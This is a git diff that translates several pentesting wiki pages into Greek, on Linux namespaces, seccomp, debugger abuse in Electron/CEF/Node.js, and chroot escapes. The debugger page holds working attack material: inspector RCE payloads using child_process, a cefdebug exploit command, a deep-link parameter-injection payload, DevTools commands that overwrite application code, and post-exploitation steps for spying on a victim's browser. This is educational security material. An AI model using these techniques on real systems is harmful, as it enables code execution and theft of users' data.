κάνουν. +- Ο πυρήνας του Linux επιτρέπει σε μια διαδικασία να δημιουργεί νέα namespaces χρησιμοποιώντας την κλήση συστήματος `unshare`. Ωστόσο, η διαδικασία που ξεκινά τη δημιουργία ενός νέου PID namespace (αναφερόμενη ως η διαδικασία "unshare") δεν εισέρχεται στο νέο namespace; μόνο οι παιδικές της διαδικασίες το κάνουν. - Η εκτέλεση `%unshare -p /bin/bash%` ξεκινά το `/bin/bash` στην ίδια διαδικασία με το `unshare`. Ως εκ τούτου, το `/bin/bash` και οι παιδικές του διαδικασίες βρίσκονται στο αρχικό PID namespace. - Η πρώτη παιδική διαδικασία του `/bin/bash` στο νέο namespace γίνεται PID 1. Όταν αυτή η διαδικασία τερματίσει, ενεργοποιεί την καθαριότητα του namespace αν δεν υπάρχουν άλλες διαδικασίες, καθώς το PID 1 έχει τον ειδικό ρόλο της υιοθέτησης ορφανών διαδικασιών. Ο πυρήνας του Linux θα απενεργοποιήσει στη συνέχεια την κατανομή PID σε αυτό το namespace. @@ -98,12 +98,12 @@ root 27756 27755 0 21:11 pts/10 00:00:00 /bin/bash ``` ### Ανάκτηση Δυνατοτήτων -Στην περίπτωση των namespaces χρηστών, **όταν δημιουργείται ένα νέο namespace χρηστών, η διαδικασία που εισέρχεται στο namespace αποκτά ένα πλήρες σύνολο δυνατοτήτων εντός αυτού του namespace**. Αυτές οι δυνατότητες επιτρέπουν στη διαδικασία να εκτελεί προνομιακές λειτουργίες όπως **mounting** **filesystems**, δημιουργία συσκευών ή αλλαγή ιδιοκτησίας αρχείων, αλλά **μόνο εντός του πλαισίου του namespace χρήστη της**. +Στην περίπτωση των namespaces χρηστών, **όταν δημιουργείται ένα νέο namespace χρηστών, η διαδικασία που εισέρχεται στο namespace αποκτά ένα πλήρες σύνολο δυνατοτήτων εντός αυτού του namespace**. Αυτές οι δυνατότητες επιτρέπουν στη διαδικασία να εκτελεί προνομιακές λειτουργίες όπως **mounting** **filesystems**, δημιουργία συσκευών ή αλλαγή ιδιοκτησίας αρχείων, αλλά **μόνο εντός του πλαισίου του namespace χρηστών της**. -Για παράδειγμα, όταν έχετε τη δυνατότητα `CAP_SYS_ADMIN` εντός ενός namespace χρηστών, μπορείτε να εκτελείτε λειτουργίες που συνήθως απαιτούν αυτή τη δυνατότητα, όπως το mounting filesystems, αλλά μόνο εντός του πλαισίου του namespace χρήστη σας. Οποιεσδήποτε λειτουργίες εκτελείτε με αυτή τη δυνατότητα δεν θα επηρεάσουν το σύστημα φιλοξενίας ή άλλα namespaces. +Για παράδειγμα, όταν έχετε τη δυνατότητα `CAP_SYS_ADMIN` εντός ενός namespace χρηστών, μπορείτε να εκτελείτε λειτουργίες που συνήθως απαιτούν αυτή τη δυνατότητα, όπως το mounting filesystems, αλλά μόνο εντός του πλαισίου του namespace χρηστών σας. Οποιεσδήποτε λειτουργίες εκτελείτε με αυτή τη δυνατότητα δεν θα επηρεάσουν το σύστημα φιλοξενίας ή άλλα namespaces. > [!WARNING] -> Επομένως, ακόμη και αν η απόκτηση μιας νέας διαδικασίας μέσα σε ένα νέο namespace Χρήστη **θα σας δώσει όλες τις δυνατότητες πίσω** (CapEff: 000001ffffffffff), στην πραγματικότητα μπορείτε **μόνο να χρησιμοποιήσετε αυτές που σχετίζονται με το namespace** (mount για παράδειγμα) αλλά όχι όλες. Έτσι, αυτό από μόνο του δεν είναι αρκετό για να ξεφύγετε από ένα Docker container. +> Επομένως, ακόμη και αν η απόκτηση μιας νέας διαδικασίας μέσα σε ένα νέο namespace χρηστών **θα σας δώσει όλες τις δυνατότητες πίσω** (CapEff: 000001ffffffffff), στην πραγματικότητα μπορείτε **να χρησιμοποιήσετε μόνο αυτές που σχετίζονται με το namespace** (mount για παράδειγμα) αλλά όχι όλες. Έτσι, αυτό από μόνο του δεν είναι αρκετό για να ξεφύγετε από ένα Docker container. ```bash # There are the syscalls that are filtered after changing User namespace with: unshare -UmCpf bash diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/uts-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/uts-namespace.md index 6a1636cc6..4988b58a2 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/uts-namespace.md +++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/uts-namespace.md @@ -9,8 +9,8 @@ ### How it works: 1. Όταν δημιουργείται ένα νέο UTS namespace, ξεκινά με μια **αντίγραφο του hostname και του NIS domain name από το γονικό namespace**. Αυτό σημαίνει ότι, κατά τη δημιουργία, το νέο namespace **μοιράζεται τα ίδια αναγνωριστικά με το γονικό του**. Ωστόσο, οποιεσδήποτε επακόλουθες αλλαγές στο hostname ή το NIS domain name εντός του namespace δεν θα επηρεάσουν άλλα namespaces. -2. Οι διεργασίες εντός ενός UTS namespace **μπορούν να αλλάξουν το hostname και το NIS domain name** χρησιμοποιώντας τις κλήσεις συστήματος `sethostname()` και `setdomainname()`, αντίστοιχα. Αυτές οι αλλαγές είναι τοπικές στο namespace και δεν επηρεάζουν άλλα namespaces ή το σύστημα φιλοξενίας. -3. Οι διεργασίες μπορούν να μετακινηθούν μεταξύ namespaces χρησιμοποιώντας την κλήση συστήματος `setns()` ή να δημιουργήσουν νέα namespaces χρησιμοποιώντας τις κλήσεις συστήματος `unshare()` ή `clone()` με την σημαία `CLONE_NEWUTS`. Όταν μια διεργασία μετακινείται σε ένα νέο namespace ή δημιουργεί ένα, θα αρχίσει να χρησιμοποιεί το hostname και το NIS domain name που σχετίζονται με αυτό το namespace. +2. Οι διαδικασίες εντός ενός UTS namespace **μπορούν να αλλάξουν το hostname και το NIS domain name** χρησιμοποιώντας τις κλήσεις συστήματος `sethostname()` και `setdomainname()`, αντίστοιχα. Αυτές οι αλλαγές είναι τοπικές στο namespace και δεν επηρεάζουν άλλα namespaces ή το σύστημα φιλοξενίας. +3. Οι διαδικασίες μπορούν να μετακινηθούν μεταξύ namespaces χρησιμοποιώντας την κλήση συστήματος `setns()` ή να δημιουργήσουν νέα namespaces χρησιμοποιώντας τις κλήσεις συστήματος `unshare()` ή `clone()` με την σημαία `CLONE_NEWUTS`. Όταν μια διαδικασία μετακινείται σε ένα νέο namespace ή δημιουργεί ένα, θα αρχίσει να χρησιμοποιεί το hostname και το NIS domain name που σχετίζονται με αυτό το namespace. ## Lab: @@ -20,29 +20,29 @@ ```bash sudo unshare -u [--mount-proc] /bin/bash ``` -Με την τοποθέτηση μιας νέας παρουσίας του συστήματος αρχείων `/proc` αν χρησιμοποιήσετε την παράμετρο `--mount-proc`, διασφαλίζετε ότι το νέο mount namespace έχει μια **ακριβή και απομονωμένη άποψη των πληροφοριών διαδικασίας που είναι συγκεκριμένες για αυτό το namespace**. +Με την τοποθέτηση μιας νέας παρουσίας του συστήματος αρχείων `/proc` αν χρησιμοποιήσετε την παράμετρο `--mount-proc`, διασφαλίζετε ότι η νέα mount namespace έχει μια **ακριβή και απομονωμένη άποψη των πληροφοριών διαδικασίας που είναι συγκεκριμένες για αυτή τη namespace**.
Σφάλμα: bash: fork: Cannot allocate memory -Όταν εκτελείται το `unshare` χωρίς την επιλογή `-f`, προκύπτει ένα σφάλμα λόγω του τρόπου που το Linux χειρίζεται τα νέα PID (Process ID) namespaces. Οι βασικές λεπτομέρειες και η λύση περιγράφονται παρακάτω: +Όταν εκτελείται το `unshare` χωρίς την επιλογή `-f`, προκύπτει ένα σφάλμα λόγω του τρόπου που το Linux χειρίζεται τις νέες PID (Process ID) namespaces. Οι βασικές λεπτομέρειες και η λύση περιγράφονται παρακάτω: 1. **Εξήγηση Προβλήματος**: -- Ο πυρήνας του Linux επιτρέπει σε μια διαδικασία να δημιουργήσει νέα namespaces χρησιμοποιώντας την κλήση συστήματος `unshare`. Ωστόσο, η διαδικασία που ξεκινά τη δημιουργία ενός νέου PID namespace (αναφερόμενη ως η διαδικασία "unshare") δεν εισέρχεται στο νέο namespace; μόνο οι παιδικές της διαδικασίες το κάνουν. -- Η εκτέλεση `%unshare -p /bin/bash%` ξεκινά το `/bin/bash` στην ίδια διαδικασία με το `unshare`. Κατά συνέπεια, το `/bin/bash` και οι παιδικές του διαδικασίες βρίσκονται στο αρχικό PID namespace. -- Η πρώτη παιδική διαδικασία του `/bin/bash` στο νέο namespace γίνεται PID 1. Όταν αυτή η διαδικασία τερματίσει, ενεργοποιεί την καθαριότητα του namespace αν δεν υπάρχουν άλλες διαδικασίες, καθώς το PID 1 έχει τον ειδικό ρόλο της υιοθέτησης ορφανών διαδικασιών. Ο πυρήνας του Linux θα απενεργοποιήσει στη συνέχεια την κατανομή PID σε αυτό το namespace. +- Ο πυρήνας του Linux επιτρέπει σε μια διαδικασία να δημιουργεί νέες namespaces χρησιμοποιώντας την κλήση συστήματος `unshare`. Ωστόσο, η διαδικασία που ξεκινά τη δημιουργία μιας νέας PID namespace (αναφερόμενη ως η διαδικασία "unshare") δεν εισέρχεται στη νέα namespace; μόνο οι παιδικές της διαδικασίες το κάνουν. +- Η εκτέλεση `%unshare -p /bin/bash%` ξεκινά το `/bin/bash` στην ίδια διαδικασία με το `unshare`. Ως εκ τούτου, το `/bin/bash` και οι παιδικές του διαδικασίες βρίσκονται στην αρχική PID namespace. +- Η πρώτη παιδική διαδικασία του `/bin/bash` στη νέα namespace γίνεται PID 1. Όταν αυτή η διαδικασία τερματίσει, ενεργοποιεί την καθαριότητα της namespace αν δεν υπάρχουν άλλες διαδικασίες, καθώς το PID 1 έχει τον ειδικό ρόλο της υιοθέτησης ορφανών διαδικασιών. Ο πυρήνας του Linux θα απενεργοποιήσει στη συνέχεια την κατανομή PID σε αυτή τη namespace. 2. **Συνέπεια**: -- Η έξοδος του PID 1 σε ένα νέο namespace οδηγεί στον καθαρισμό της σημαίας `PIDNS_HASH_ADDING`. Αυτό έχει ως αποτέλεσμα η συνάρτηση `alloc_pid` να αποτύχει να κατανοήσει ένα νέο PID κατά τη δημιουργία μιας νέας διαδικασίας, παράγοντας το σφάλμα "Cannot allocate memory". +- Η έξοδος του PID 1 σε μια νέα namespace οδηγεί στον καθαρισμό της σημαίας `PIDNS_HASH_ADDING`. Αυτό έχει ως αποτέλεσμα τη αποτυχία της συνάρτησης `alloc_pid` να κατανοήσει ένα νέο PID κατά τη δημιουργία μιας νέας διαδικασίας, παράγοντας το σφάλμα "Cannot allocate memory". 3. **Λύση**: -- Το πρόβλημα μπορεί να επιλυθεί χρησιμοποιώντας την επιλογή `-f` με το `unshare`. Αυτή η επιλογή κάνει το `unshare` να δημιουργήσει μια νέα διαδικασία μετά τη δημιουργία του νέου PID namespace. -- Η εκτέλεση `%unshare -fp /bin/bash%` διασφαλίζει ότι η εντολή `unshare` γίνεται PID 1 στο νέο namespace. Το `/bin/bash` και οι παιδικές του διαδικασίες είναι στη συνέχεια ασφαλώς περιορισμένες μέσα σε αυτό το νέο namespace, αποτρέποντας την πρόωρη έξοδο του PID 1 και επιτρέποντας την κανονική κατανομή PID. +- Το πρόβλημα μπορεί να επιλυθεί χρησιμοποιώντας την επιλογή `-f` με το `unshare`. Αυτή η επιλογή κάνει το `unshare` να δημιουργήσει μια νέα διαδικασία μετά τη δημιουργία της νέας PID namespace. +- Η εκτέλεση `%unshare -fp /bin/bash%` διασφαλίζει ότι η εντολή `unshare` γίνεται PID 1 στη νέα namespace. Το `/bin/bash` και οι παιδικές του διαδικασίες είναι στη συνέχεια ασφαλώς περιορισμένες μέσα σε αυτή τη νέα namespace, αποτρέποντας την πρόωρη έξοδο του PID 1 και επιτρέποντας την κανονική κατανομή PID. -Διασφαλίζοντας ότι το `unshare` εκτελείται με την επιλογή `-f`, το νέο PID namespace διατηρείται σωστά, επιτρέποντας στο `/bin/bash` και τις υπο-διαδικασίες του να λειτουργούν χωρίς να αντιμετωπίζουν το σφάλμα κατανομής μνήμης. +Διασφαλίζοντας ότι το `unshare` εκτελείται με την επιλογή `-f`, η νέα PID namespace διατηρείται σωστά, επιτρέποντας στο `/bin/bash` και τις υπο-διαδικασίες του να λειτουργούν χωρίς να αντιμετωπίζουν το σφάλμα κατανομής μνήμης.
diff --git a/src/linux-hardening/privilege-escalation/docker-security/seccomp.md b/src/linux-hardening/privilege-escalation/docker-security/seccomp.md index 29a966ddd..234c54339 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/seccomp.md +++ b/src/linux-hardening/privilege-escalation/docker-security/seccomp.md @@ -8,7 +8,7 @@ Υπάρχουν δύο τρόποι για να ενεργοποιηθεί το seccomp: μέσω της κλήσης συστήματος `prctl(2)` με `PR_SET_SECCOMP`, ή για πυρήνες Linux 3.17 και άνω, την κλήση συστήματος `seccomp(2)`. Η παλαιότερη μέθοδος ενεργοποίησης του seccomp γράφοντας στο `/proc/self/seccomp` έχει καταργηθεί υπέρ του `prctl()`. -Μια βελτίωση, **seccomp-bpf**, προσθέτει τη δυνατότητα φιλτραρίσματος κλήσεων συστήματος με μια προσαρμόσιμη πολιτική, χρησιμοποιώντας κανόνες Berkeley Packet Filter (BPF). Αυτή η επέκταση αξιοποιείται από λογισμικό όπως το OpenSSH, vsftpd, και τους περιηγητές Chrome/Chromium στο Chrome OS και Linux για ευέλικτο και αποδοτικό φιλτράρισμα κλήσεων συστήματος, προσφέροντας μια εναλλακτική λύση στο πλέον μη υποστηριζόμενο systrace για Linux. +Μια βελτίωση, **seccomp-bpf**, προσθέτει τη δυνατότητα φιλτραρίσματος κλήσεων συστήματος με μια προσαρμόσιμη πολιτική, χρησιμοποιώντας κανόνες Berkeley Packet Filter (BPF). Αυτή η επέκταση αξιοποιείται από λογισμικό όπως το OpenSSH, το vsftpd, και τους περιηγητές Chrome/Chromium στο Chrome OS και το Linux για ευέλικτο και αποδοτικό φιλτράρισμα κλήσεων συστήματος, προσφέροντας μια εναλλακτική λύση στο πλέον μη υποστηριζόμενο systrace για Linux. ### **Original/Strict Mode** diff --git a/src/linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md b/src/linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md index 1aa065326..3c22254a3 100644 --- a/src/linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md +++ b/src/linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md @@ -4,15 +4,14 @@ ## Basic Information -[From the docs](https://origin.nodejs.org/ru/docs/guides/debugging-getting-started): When started with the `--inspect` switch, a Node.js process listens for a debugging client. By **default**, it will listen at host and port **`127.0.0.1:9229`**. Each process is also assigned a **unique** **UUID**. +[From the docs](https://origin.nodejs.org/ru/docs/guides/debugging-getting-started): Όταν ξεκινά με την επιλογή `--inspect`, μια διαδικασία Node.js ακούει για έναν πελάτη αποσφαλμάτωσης. Από **προεπιλογή**, θα ακούει στη διεύθυνση και την θύρα **`127.0.0.1:9229`**. Κάθε διαδικασία έχει επίσης ανατεθεί μια **μοναδική** **UUID**. -Inspector clients must know and specify host address, port, and UUID to connect. A full URL will look something like `ws://127.0.0.1:9229/0f2c936f-b1cd-4ac9-aab3-f63b0f33d55e`. +Οι πελάτες αποσφαλμάτωσης πρέπει να γνωρίζουν και να καθορίζουν τη διεύθυνση του διακομιστή, την θύρα και την UUID για να συνδεθούν. Μια πλήρης διεύθυνση URL θα μοιάζει κάπως έτσι: `ws://127.0.0.1:9229/0f2c936f-b1cd-4ac9-aab3-f63b0f33d55e`. > [!WARNING] -> Since the **debugger has full access to the Node.js execution environment**, a malicious actor able to connect to this port may be able to execute arbitrary code on behalf of the Node.js process (**potential privilege escalation**). - -There are several ways to start an inspector: +> Δεδομένου ότι ο **αποσφαλματωτής έχει πλήρη πρόσβαση στο περιβάλλον εκτέλεσης Node.js**, ένας κακόβουλος παράγοντας που μπορεί να συνδεθεί σε αυτή τη θύρα μπορεί να είναι σε θέση να εκτελέσει αυθαίρετο κώδικα εκ μέρους της διαδικασίας Node.js (**πιθανή κλιμάκωση προνομίων**). +Υπάρχουν αρκετοί τρόποι για να ξεκινήσει ένας αποσφαλματωτής: ```bash node --inspect app.js #Will run the inspector in port 9229 node --inspect=4444 app.js #Will run the inspector in port 4444 @@ -23,58 +22,48 @@ node --inspect-brk=0.0.0.0:4444 app.js #Will run the inspector all ifaces and po node --inspect --inspect-port=0 app.js #Will run the inspector in a random port # Note that using "--inspect-port" without "--inspect" or "--inspect-brk" won't run the inspector ``` - -When you start an inspected process something like this will appear: - +Όταν ξεκινάτε μια διαδικασία που επιθεωρείται, κάτι τέτοιο θα εμφανιστεί: ``` Debugger ending on ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d For help, see: https://nodejs.org/en/docs/inspector ``` +Διεργασίες που βασίζονται στο **CEF** (**Chromium Embedded Framework**) χρειάζονται να χρησιμοποιήσουν την παράμετρο: `--remote-debugging-port=9222` για να ανοίξουν τον **debugger** (οι προστασίες SSRF παραμένουν πολύ παρόμοιες). Ωστόσο, **αντί** να παραχωρήσουν μια συνεδρία **debug** **NodeJS**, θα επικοινωνήσουν με τον περιηγητή χρησιμοποιώντας το [**Chrome DevTools Protocol**](https://chromedevtools.github.io/devtools-protocol/), αυτή είναι μια διεπαφή για τον έλεγχο του περιηγητή, αλλά δεν υπάρχει άμεσο RCE. -Processes based on **CEF** (**Chromium Embedded Framework**) like need to use the param: `--remote-debugging-port=9222` to open de **debugger** (the SSRF protections remain very similar). However, they **instead** of granting a **NodeJS** **debug** session will communicate with the browser using the [**Chrome DevTools Protocol**](https://chromedevtools.github.io/devtools-protocol/), this is an interface to control the browser, but there isn't a direct RCE. - -When you start a debugged browser something like this will appear: - +Όταν ξεκινάτε έναν περιηγητή σε κατάσταση αποσφαλμάτωσης, κάτι τέτοιο θα εμφανιστεί: ``` DevTools listening on ws://127.0.0.1:9222/devtools/browser/7d7aa9d9-7c61-4114-b4c6-fcf5c35b4369 ``` +### Browsers, WebSockets και πολιτική ίδιου προέλευσης -### Browsers, WebSockets and same-origin policy - -Websites open in a web-browser can make WebSocket and HTTP requests under the browser security model. An **initial HTTP connection** is necessary to **obtain a unique debugger session id**. The **same-origin-policy** **prevents** websites from being able to make **this HTTP connection**. For additional security against [**DNS rebinding attacks**](https://en.wikipedia.org/wiki/DNS_rebinding)**,** Node.js verifies that the **'Host' headers** for the connection either specify an **IP address** or **`localhost`** or **`localhost6`** precisely. +Οι ιστότοποι που ανοίγουν σε έναν web-browser μπορούν να κάνουν WebSocket και HTTP αιτήματα σύμφωνα με το μοντέλο ασφάλειας του browser. Μια **αρχική σύνδεση HTTP** είναι απαραίτητη για να **αποκτηθεί ένα μοναδικό id συνεδρίας debugger**. Η **πολιτική ίδιου προέλευσης** **αποτρέπει** τους ιστότοπους από το να μπορούν να κάνουν **αυτή τη σύνδεση HTTP**. Για επιπλέον ασφάλεια κατά των [**επιθέσεων DNS rebinding**](https://en.wikipedia.org/wiki/DNS_rebinding)**,** το Node.js επαληθεύει ότι οι **κεφαλίδες 'Host'** για τη σύνδεση είτε καθορίζουν μια **διεύθυνση IP** είτε **`localhost`** ή **`localhost6`** ακριβώς. > [!NOTE] -> This **security measures prevents exploiting the inspector** to run code by **just sending a HTTP request** (which could be done exploiting a SSRF vuln). +> Αυτά τα **μέτρα ασφαλείας αποτρέπουν την εκμετάλλευση του inspector** για να εκτελούνται κώδικες απλά στέλνοντας ένα HTTP αίτημα (το οποίο θα μπορούσε να γίνει εκμεταλλευόμενοι μια ευπάθεια SSRF). -### Starting inspector in running processes - -You can send the **signal SIGUSR1** to a running nodejs process to make it **start the inspector** in the default port. However, note that you need to have enough privileges, so this might grant you **privileged access to information inside the process** but no a direct privilege escalation. +### Ξεκινώντας τον inspector σε τρέχουσες διαδικασίες +Μπορείτε να στείλετε το **σήμα SIGUSR1** σε μια τρέχουσα διαδικασία nodejs για να **ξεκινήσει τον inspector** στην προεπιλεγμένη θύρα. Ωστόσο, σημειώστε ότι χρειάζεστε αρκετά δικαιώματα, οπότε αυτό μπορεί να σας δώσει **προνομιακή πρόσβαση σε πληροφορίες μέσα στη διαδικασία** αλλά όχι άμεση κλιμάκωση δικαιωμάτων. ```bash kill -s SIGUSR1 # After an URL to access the debugger will appear. e.g. ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d ``` - > [!NOTE] -> This is useful in containers because **shutting down the process and starting a new one** with `--inspect` is **not an option** because the **container** will be **killed** with the process. +> Αυτό είναι χρήσιμο σε κοντέινερ γιατί **η διακοπή της διαδικασίας και η εκκίνηση μιας νέας** με `--inspect` **δεν είναι επιλογή** γιατί το **κοντέινερ** θα **τερματιστεί** με τη διαδικασία. -### Connect to inspector/debugger +### Σύνδεση με τον επιθεωρητή/αποσφαλματωτή -To connect to a **Chromium-based browser**, the `chrome://inspect` or `edge://inspect` URLs can be accessed for Chrome or Edge, respectively. By clicking the Configure button, it should be ensured that the **target host and port** are correctly listed. The image shows a Remote Code Execution (RCE) example: +Για να συνδεθείτε με έναν **πλοηγό βασισμένο σε Chromium**, μπορείτε να αποκτήσετε πρόσβαση στις διευθύνσεις URL `chrome://inspect` ή `edge://inspect` για το Chrome ή το Edge, αντίστοιχα. Κάνοντας κλικ στο κουμπί Ρύθμιση, θα πρέπει να διασφαλιστεί ότι ο **στόχος και η θύρα** είναι σωστά καταχωρημένα. Η εικόνα δείχνει ένα παράδειγμα Remote Code Execution (RCE): ![](<../../images/image (674).png>) -Using the **command line** you can connect to a debugger/inspector with: - +Χρησιμοποιώντας τη **γραμμή εντολών** μπορείτε να συνδεθείτε με έναν αποσφαλματωτή/επιθεωρητή με: ```bash node inspect : node inspect 127.0.0.1:9229 # RCE example from debug console debug> exec("process.mainModule.require('child_process').exec('/Applications/iTerm.app/Contents/MacOS/iTerm2')") ``` - -The tool [**https://github.com/taviso/cefdebug**](https://github.com/taviso/cefdebug), allows to **find inspectors** running locally and **inject code** into them. - +Το εργαλείο [**https://github.com/taviso/cefdebug**](https://github.com/taviso/cefdebug) επιτρέπει να **βρείτε επιθεωρητές** που εκτελούνται τοπικά και να **εισάγετε κώδικα** σε αυτούς. ```bash #List possible vulnerable sockets ./cefdebug.exe @@ -83,76 +72,67 @@ The tool [**https://github.com/taviso/cefdebug**](https://github.com/taviso/cefd #Exploit it ./cefdebug.exe --url ws://127.0.0.1:3585/5a9e3209-3983-41fa-b0ab-e739afc8628a --code "process.mainModule.require('child_process').exec('calc')" ``` +> [!NOTE] +> Σημειώστε ότι **οι εκμεταλλεύσεις RCE του NodeJS δεν θα λειτουργήσουν** αν συνδεθείτε σε έναν περιηγητή μέσω του [**Chrome DevTools Protocol**](https://chromedevtools.github.io/devtools-protocol/) (πρέπει να ελέγξετε το API για να βρείτε ενδιαφέροντα πράγματα να κάνετε με αυτό). + +## RCE στον Debugger/Inspector του NodeJS > [!NOTE] -> Note that **NodeJS RCE exploits won't work** if connected to a browser via [**Chrome DevTools Protocol**](https://chromedevtools.github.io/devtools-protocol/) (you need to check the API to find interesting things to do with it). - -## RCE in NodeJS Debugger/Inspector - -> [!NOTE] -> If you came here looking how to get [**RCE from a XSS in Electron please check this page.**](../../network-services-pentesting/pentesting-web/electron-desktop-apps/) - -Some common ways to obtain **RCE** when you can **connect** to a Node **inspector** is using something like (looks that this **won't work in a connection to Chrome DevTools protocol**): +> Αν ήρθατε εδώ ψάχνοντας πώς να αποκτήσετε [**RCE από μια XSS σε Electron παρακαλώ ελέγξτε αυτή τη σελίδα.**](../../network-services-pentesting/pentesting-web/electron-desktop-apps/) +Ορισμένοι κοινοί τρόποι για να αποκτήσετε **RCE** όταν μπορείτε να **συνδεθείτε** σε έναν **inspector** του Node είναι η χρήση κάποιου όπως (φαίνεται ότι αυτό **δεν θα λειτουργήσει σε σύνδεση με το Chrome DevTools protocol**): ```javascript process.mainModule.require("child_process").exec("calc") window.appshell.app.openURLInDefaultBrowser("c:/windows/system32/calc.exe") require("child_process").spawnSync("calc.exe") Browser.open(JSON.stringify({ url: "c:\\windows\\system32\\calc.exe" })) ``` - ## Chrome DevTools Protocol Payloads -You can check the API here: [https://chromedevtools.github.io/devtools-protocol/](https://chromedevtools.github.io/devtools-protocol/)\ -In this section I will just list interesting things I find people have used to exploit this protocol. +Μπορείτε να ελέγξετε το API εδώ: [https://chromedevtools.github.io/devtools-protocol/](https://chromedevtools.github.io/devtools-protocol/)\ +Σε αυτή την ενότητα θα παραθέσω μόνο ενδιαφέροντα πράγματα που έχω βρει ότι οι άνθρωποι έχουν χρησιμοποιήσει για να εκμεταλλευτούν αυτό το πρωτόκολλο. ### Parameter Injection via Deep Links -In the [**CVE-2021-38112**](https://rhinosecuritylabs.com/aws/cve-2021-38112-aws-workspaces-rce/) Rhino security discovered that an application based on CEF **registered a custom UR**I in the system (workspaces://) that received the full URI and then **launched the CEF based applicatio**n with a configuration that was partially constructing from that URI. +Στο [**CVE-2021-38112**](https://rhinosecuritylabs.com/aws/cve-2021-38112-aws-workspaces-rce/) η Rhino security ανακάλυψε ότι μια εφαρμογή βασισμένη σε CEF **καταχώρησε μια προσαρμοσμένη UR**I στο σύστημα (workspaces://) που έλαβε το πλήρες URI και στη συνέχεια **εκκίνησε την εφαρμογή βασισμένη σε CEF** με μια ρύθμιση που κατασκευαζόταν εν μέρει από αυτό το URI. -It was discovered that the URI parameters where URL decoded and used to launch the CEF basic application, allowing a user to **inject** the flag **`--gpu-launcher`** in the **command line** and execute arbitrary things. - -So, a payload like: +Ανακαλύφθηκε ότι οι παράμετροι URI αποκωδικοποιούνταν URL και χρησιμοποιούνταν για να εκκινήσουν την βασική εφαρμογή CEF, επιτρέποντας σε έναν χρήστη να **εισάγει** τη σημαία **`--gpu-launcher`** στη **γραμμή εντολών** και να εκτελέσει αυθαίρετα πράγματα. +Έτσι, ένα payload όπως: ``` workspaces://anything%20--gpu-launcher=%22calc.exe%22@REGISTRATION_CODE ``` +Θα εκτελέσει ένα calc.exe. -Will execute a calc.exe. - -### Overwrite Files - -Change the folder where **downloaded files are going to be saved** and download a file to **overwrite** frequently used **source code** of the application with your **malicious code**. +### Επικαλύψεις Αρχείων +Αλλάξτε τον φάκελο όπου **θα αποθηκευτούν τα κατεβασμένα αρχεία** και κατεβάστε ένα αρχείο για να **επικαλύψετε** τον συχνά χρησιμοποιούμενο **κώδικα πηγής** της εφαρμογής με τον **κακόβουλο κώδικά** σας. ```javascript ws = new WebSocket(url) //URL of the chrome devtools service ws.send( - JSON.stringify({ - id: 42069, - method: "Browser.setDownloadBehavior", - params: { - behavior: "allow", - downloadPath: "/code/", - }, - }) +JSON.stringify({ +id: 42069, +method: "Browser.setDownloadBehavior", +params: { +behavior: "allow", +downloadPath: "/code/", +}, +}) ) ``` +### Webdriver RCE και εξαγωγή -### Webdriver RCE and exfiltration +Σύμφωνα με αυτή την ανάρτηση: [https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148](https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148) είναι δυνατόν να αποκτηθεί RCE και να εξαχθούν εσωτερικές σελίδες από theriver. -According to this post: [https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148](https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148) it's possible to obtain RCE and exfiltrate internal pages from theriver. +### Μετά την εκμετάλλευση -### Post-Exploitation - -In a real environment and **after compromising** a user PC that uses Chrome/Chromium based browser you could launch a Chrome process with the **debugging activated and port-forward the debugging port** so you can access it. This way you will be able to **inspect everything the victim does with Chrome and steal sensitive information**. - -The stealth way is to **terminate every Chrome process** and then call something like +Σε ένα πραγματικό περιβάλλον και **μετά την παραβίαση** ενός υπολογιστή χρήστη που χρησιμοποιεί πρόγραμμα περιήγησης βασισμένο σε Chrome/Chromium, θα μπορούσατε να εκκινήσετε μια διαδικασία Chrome με **την αποσφαλμάτωση ενεργοποιημένη και να προωθήσετε την θύρα αποσφαλμάτωσης** ώστε να μπορείτε να την αποκτήσετε. Με αυτόν τον τρόπο θα είστε σε θέση να **εξετάσετε τα πάντα που κάνει το θύμα με το Chrome και να κλέψετε ευαίσθητες πληροφορίες**. +Ο κρυφός τρόπος είναι να **τερματίσετε κάθε διαδικασία Chrome** και στη συνέχεια να καλέσετε κάτι σαν ```bash Start-Process "Chrome" "--remote-debugging-port=9222 --restore-last-session" ``` - -## References +## Αναφορές - [https://www.youtube.com/watch?v=iwR746pfTEc\&t=6345s](https://www.youtube.com/watch?v=iwR746pfTEc&t=6345s) - [https://github.com/taviso/cefdebug](https://github.com/taviso/cefdebug) diff --git a/src/linux-hardening/privilege-escalation/escaping-from-limited-bash.md b/src/linux-hardening/privilege-escalation/escaping-from-limited-bash.md index d2db5d66c..2a576725b 100644 --- a/src/linux-hardening/privilege-escalation/escaping-from-limited-bash.md +++ b/src/linux-hardening/privilege-escalation/escaping-from-limited-bash.md @@ -1,32 +1,31 @@ -# Escaping from Jails +# Διαφυγή από Jails {{#include ../../banners/hacktricks-training.md}} ## **GTFOBins** -**Search in** [**https://gtfobins.github.io/**](https://gtfobins.github.io) **if you can execute any binary with "Shell" property** +**Αναζητήστε σε** [**https://gtfobins.github.io/**](https://gtfobins.github.io) **αν μπορείτε να εκτελέσετε οποιοδήποτε δυαδικό με ιδιότητα "Shell"** ## Chroot Escapes -From [wikipedia](https://en.wikipedia.org/wiki/Chroot#Limitations): The chroot mechanism is **not intended to defend** against intentional tampering by **privileged** (**root**) **users**. On most systems, chroot contexts do not stack properly and chrooted programs **with sufficient privileges may perform a second chroot to break out**.\ -Usually this means that to escape you need to be root inside the chroot. +Από [wikipedia](https://en.wikipedia.org/wiki/Chroot#Limitations): Ο μηχανισμός chroot **δεν προορίζεται για να υπερασπιστεί** ενάντια σε σκόπιμες παρεμβάσεις από **privileged** (**root**) **χρήστες**. Σε τα περισσότερα 